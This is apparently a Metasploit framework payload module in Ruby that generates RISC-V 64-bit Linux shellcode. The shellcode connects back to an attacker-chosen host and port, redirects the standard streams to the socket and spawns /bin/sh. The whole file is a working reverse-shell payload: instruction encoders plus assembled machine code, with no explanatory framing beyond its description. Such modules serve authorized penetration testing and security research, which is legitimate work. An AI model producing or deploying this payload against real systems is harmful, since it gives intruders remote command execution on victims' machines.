Linux Command Shell, Reverse TCP Inline

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 160

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  SYS_SOCKET = 198
  SYS_CONNECT = 203
  SYS_DUP3 = 24
  SYS_EXECVE = 221
  AF_INET = 2
  SOCK_STREAM = 1
  IPPROTO_IP = 0

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Command Shell, Reverse TCP Inline',
        'Description' => 'Connect back to attacker and spawn a command shell.',
        'Author' => [
          'modexp', # connect.s RISC-V 64-bit shellcode
          'bcoles', # metasploit
        ],
        'License' => BSD_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ ARCH_RISCV64LE ],
        'References' => [
          ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
          ['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
        ],
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::CommandShellUnix
      )
    )
  end

  # Encode a RISC-V ADDI (Add Immediate) instruction
  def encode_addi(rd, rs1, imm12)
    opcode = 0b0010011
    funct3 = 0b000
    imm = imm12 & 0xfff
    (imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
  end

  # Encode a RISC-V LUI (Load Upper Immediate) instruction
  def encode_lui(rd, imm20)
    0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
  end

  # Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
  def encode_slli(rd, rs1, shamt)
    opcode = 0b0010011
    funct3 = 0b001
    funct6 = 0b000000
    ((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
      (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
  end

  # Encode a RISC-V OR instruction (rd = rs1 OR rs2).
  def encode_or(rd, rs1, rs2)
    opcode = 0b0110011
    funct3 = 0b110
    funct7 = 0b0000000
    (funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
  end

  # Encode a RISC-V SRLI (Shift Right Logical Immediate) instruction
  def encode_srli(rd, rs1, shamt)
    opcode = 0b0010011
    funct3 = 0b101
    funct6 = 0b000000
    ((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
      (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
  end

  # Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register.
  # Note: modifies x6 (t1) register.
  # Uses slli+srli to zero-extend the low half so that sign-extended bits from
  # load_const_into_reg32 do not corrupt the high half after the OR.
  def load_const_into_reg64(const, rd)
    raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)

    max_const = (1 << 64) - 1

    raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)

    hi = const >> 32
    lo = const & 0xFFFF_FFFF

    [
      *load_const_into_reg32(hi, rd),
      encode_slli(rd, rd, 32),
      *load_const_into_reg32(lo, 6),
      encode_slli(6, 6, 32), # zero-extend lo: clear upper bits from sign extension
      encode_srli(6, 6, 32),
      encode_or(rd, rd, 6),
    ]
  end

  # Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
  def load_const_into_reg32(const, rd)
    raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)

    max_const = 0xFFFF_FFFF

    raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)

    if const >= -2048 && const <= 2047
      return [encode_addi(rd, 0, const)]
    end

    upper = (const + 0x800) >> 12
    low = const & 0xfff
    [
      encode_lui(rd, upper),
      encode_addi(rd, rd, low)
    ]
  end

  def generate(_opts = {})
    lhost = datastore['LHOST'] || '127.127.127.127'
    lport = datastore['LPORT'].to_i

    raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)

    encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
    encoded_port = [lport].pack('n').unpack1('v')
    encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2

    shellcode = [
      # prepare stack
      0xfe010113, # addi sp,sp,-32

      # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      *load_const_into_reg32(SYS_SOCKET, 17),       # li a7,198  # SYS_socket
      *load_const_into_reg32(IPPROTO_IP, 12),       # li a2,0    # IPPROTO_IP
      *load_const_into_reg32(SOCK_STREAM, 11),      # li a1,1    # SOCK_STREAM
      *load_const_into_reg32(AF_INET, 10),          # li a0,2    # AF_INET
      0x00000073,                                   # ecall

      # connect(s, &sa, sizeof(sa));
      0x00050693,                                   # mv a3,a0   # a3 = s
      *load_const_into_reg32(SYS_CONNECT, 17),      # li a7,203  # SYS_connect
      *load_const_into_reg32(16, 12),               # li a2,16   # sizeof(sockaddr_in)
      *load_const_into_reg64(encoded_sockaddr, 11),
      0x00b13023,                                   # sd a1,0(sp)
      0x00010593,                                   # mv a1,sp   # a1 = &sa
      0x00000073,                                   # ecall

      # dup stdin/stdout/stderr
      *load_const_into_reg32(SYS_DUP3, 17),         # li a7,24   # SYS_dup3
      *load_const_into_reg32(3, 11),                # li a1,3    # start from STDERR_FILENO + 1 = 3
      # c_dup:
      *load_const_into_reg32(0, 12),                # li a2,0
      0x00068513,                                   # mv a0,a3
      0xfff58593,                                   # addi a1,a1,-1
      0x00000073,                                   # ecall
      0xfe0598e3,                                   # bnez a1,100c8 <c_dup>

      # execve("/bin/sh", ["/bin/sh", NULL], NULL);
      # BusyBox uses argv[0] to select its applet; NULL argv causes "applet not found".
      *load_const_into_reg32(SYS_EXECVE, 17),       # SYS_execve
      0x34399537,                                   # lui a0,0x34399
      0x7b75051b,                                   # addiw a0,a0,1975
      0x00c51513,                                   # slli a0,a0,0xc
      0x34b50513,                                   # addi a0,a0,843
      0x00d51513,                                   # slli a0,a0,0xd
      0x22f50513,                                   # addi a0,a0,559
      0x00a13023,                                   # sd a0,0(sp)      # sp[0..7] = "/bin/sh\0"
      0x00010513,                                   # mv a0,sp          # a0 = path
      0x00213423,                                   # sd sp,8(sp)       # argv[0] = &path
      0x00013823,                                   # sd zero,16(sp)    # argv[1] = NULL
      0x00810593,                                   # addi a1,sp,8      # a1 = argv
      0x00000073                                    # ecall
    ].pack('V*')

    # align our shellcode to 4 bytes
    shellcode += "\x00" while shellcode.bytesize % 4 != 0

    super.to_s + shellcode
  end
end